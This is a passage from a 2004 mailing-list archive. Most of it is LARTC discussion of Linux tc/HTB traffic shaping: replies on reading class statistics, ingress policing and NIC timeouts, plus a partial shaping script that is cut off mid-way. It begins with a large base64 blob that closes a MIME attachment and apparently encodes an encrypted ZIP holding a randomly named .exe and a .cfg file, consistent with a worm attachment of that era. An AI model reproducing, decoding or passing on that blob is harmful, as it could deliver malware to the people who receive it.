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
AAIAAgBzAAAAMGEAAAAA

----------umqdscarosmorxiwriwf--


From stef.coene@docum.org  Thu Oct 21 20:18:29 2004
From: stef.coene@docum.org (Stef Coene)
Date: Thu, 21 Oct 2004 21:18:29 +0200
Subject: [LARTC] how to read the stats
In-Reply-To: <20041021095942.GP27259@samad.com.au>
References: <20041021095942.GP27259@samad.com.au>
Message-ID: <200410212118.30164.stef.coene@docum.org>

On Thursday 21 October 2004 11:59, Alexander Samad wrote:
> class htb 1:30 parent 1:1 leaf 30: prio 3 quantum 8 rate 25Kbit ceil
> 51Kbit burst 63b/8 mpu 0b overhead 0b cburst 47b/8 mpu 0b overhead 0b
> level 0
>  Sent 495316458 bytes 541852 pkts (dropped 9303, overlimits 0 requeues
> 0)
>
> >>> THIS is the line I have problems understanding
> >>> I read it as 6190bit/sec which seems to be way lower than the 25Kbit
> >>> set for the rate and much lower than the ceil
> >>> so why do I have a backlog
>
>  rate 6190bit 7pps backlog 46p
>  lended: 220159 borrowed: 321647 giants: 0
>  tokens: -493609 ctokens: -242500
>
>
> Having said all that it does seem to be limiting to 25Kbit, with burst
> upto 51 !
Can you post the executed tc commands?  Much easier for us to see what you=
=20
did.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From stef.coene@docum.org  Thu Oct 21 20:22:31 2004
From: stef.coene@docum.org (Stef Coene)
Date: Thu, 21 Oct 2004 21:22:31 +0200
Subject: [LARTC] can't understand howto example
In-Reply-To: <41776403.9040504@wp.pl>
References: <41776403.9040504@wp.pl>
Message-ID: <200410212122.31193.stef.coene@docum.org>

On Thursday 21 October 2004 09:23, Hariett Jones wrote:
> tc class add dev $DEV parent 1: classid 1:1 htb rate ${UPLINK}kbit burst =
6k
This is for packets leaving device $DEV.

> tc qdisc add dev $DEV handle ffff: ingress
>
> tc filter add dev $DEV parent ffff: protocol ip prio 50 u32 match ip src \
>   0.0.0.0/0 police rate ${DOWNLINK}kbit burst 10k drop flowid :1
This is for packets entering device $DEV.  "flowid :1" is an other destinat=
ion=20
as "classid 1:1" in the previous line.  Read "flowid :1" as "flowid ffff:1".

> why does the download is being sent to class 1 which is limited by uplink=
 ?
> why the rate is being mentioned in filter and in class ?
=46or ingress, the destination is not important.  It's the policer that cou=
nts=20
and that limits the matching packets to a certain rate (${DOWNLINK}kbit in=
=20
this example).

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From stef.coene@docum.org  Thu Oct 21 20:26:20 2004
From: stef.coene@docum.org (Stef Coene)
Date: Thu, 21 Oct 2004 21:26:20 +0200
Subject: [Fwd: [LARTC] up and down shaping based on IP]
In-Reply-To: <4177615A.8050305@wp.pl>
References: <4177615A.8050305@wp.pl>
Message-ID: <200410212126.20740.stef.coene@docum.org>

On Thursday 21 October 2004 09:12, Hariett Jones wrote:
> Hello, i have a server (486sx and 16ram).
> My pc is providing internet to 12 other computers. Ethernet cards are
> realteks 8139 (drivers builtin to the kernel 2.6.8).
> It gives me this error :
>
> NETDEVICE WATCHDOG eth1 : ...timeout.
I think the problem is using twice the same nic.  Try using different nic's=
=20
and also a module and not builtin.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From stef.coene@docum.org  Thu Oct 21 20:27:36 2004
From: stef.coene@docum.org (Stef Coene)
Date: Thu, 21 Oct 2004 21:27:36 +0200
Subject: [LARTC] How to start
In-Reply-To: <003901c4b6fa$be5e5930$0802a8c0@komp>
References: <20041020160045.13208.qmail@web20821.mail.yahoo.com> <003901c4b6fa$be5e5930$0802a8c0@komp>
Message-ID: <200410212127.36659.stef.coene@docum.org>

On Thursday 21 October 2004 01:15, ja wrote:
> You must looking for "tc"
Package name will be something like iproute2 or iproute.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From stef.coene@docum.org  Thu Oct 21 20:29:38 2004
From: stef.coene@docum.org (Stef Coene)
Date: Thu, 21 Oct 2004 21:29:38 +0200
Subject: [LARTC] LARTC problems with PRIO qdisc
In-Reply-To: <1098273336.13159.37.camel@morpheus>
References: <1098273336.13159.37.camel@morpheus>
Message-ID: <200410212129.39025.stef.coene@docum.org>

On Wednesday 20 October 2004 13:55, Jonathan wrote:
> Next I created some iptables rules for marking
Can check with iptables -t mangle -L -v -n that packets are marked like you=
=20
want?

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From alex@samad.com.au  Thu Oct 21 21:10:46 2004
From: alex@samad.com.au (Alexander Samad)
Date: Fri, 22 Oct 2004 06:10:46 +1000
Subject: [LARTC] how to read the stats
In-Reply-To: <200410212118.30164.stef.coene@docum.org>
References: <20041021095942.GP27259@samad.com.au> <200410212118.30164.stef.coene@docum.org>
Message-ID: <20041021201046.GT27259@samad.com.au>

--DNbkntcEGyiBe7B+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi

okay



#!/bin/bash

#
# Script to test TC

IF=3D${IF:-'eth0'}
SPEED=3D64
#
# 327b for 256 kbits (1K)
# 131K burst for 100Mb/s
# 12K burst for 10Mb/s
# pipe size /100 /8
BURST=3D163
BURST=3D$[$SPEED*1024/100/8]
MTU=3D1600
MTU=3D1500


TC=3D'/sbin/tc'
TC=3D'/usr/local/bin/tc'

tc_start2(){
	# install root HTB, point default traffic to 1:20=20

	tc qdisc add dev $IF root handle 1: htb default 20

	# shape everything at $SPEED speed - this prevents huge queues in your
	# DSL modem which destroy latency:

	tc class add dev $IF parent 1: classid 1:1 htb rate ${SPEED}kbit ceil ${SP=
EED}kbit burst ${BURST}b mtu $MTU

	# high prio class 1:10:

	tc class add dev $IF parent 1:1 classid 1:10 htb rate $[9*${SPEED}/10]kbit=
 ceil ${SPEED}kbit burst ${BURST}b prio 1 mtu $MTU quantum 8

	# bulk & default class 1:20 - gets slightly less traffic,=20
	# and a lower priority:

	tc class add dev $IF parent 1:1 classid 1:20 htb rate $[5*${SPEED}/10]kbit=
 ceil $[9*${SPEED}/10]kbit burst $[10*${BURST}/10]b cburst $[9*${BURST}/10]=
b prio 2 mtu $MTU quantum 8

	# for BTTorrent

	tc class add dev $IF parent 1:1 classid 1:30 htb rate $[4*${SPEED}/10]kbit=
 ceil $[8*${SPEED}/10]kbit  burst $[8*${BURST}/10]b cburst $[6*${BURST}/10]=
b  prio 3 mtu $MTU quantum 8

	# Filters
	# both get Stochastic Fairness:
	tc qdisc add dev $IF parent 1:10 handle 10: sfq perturb 10
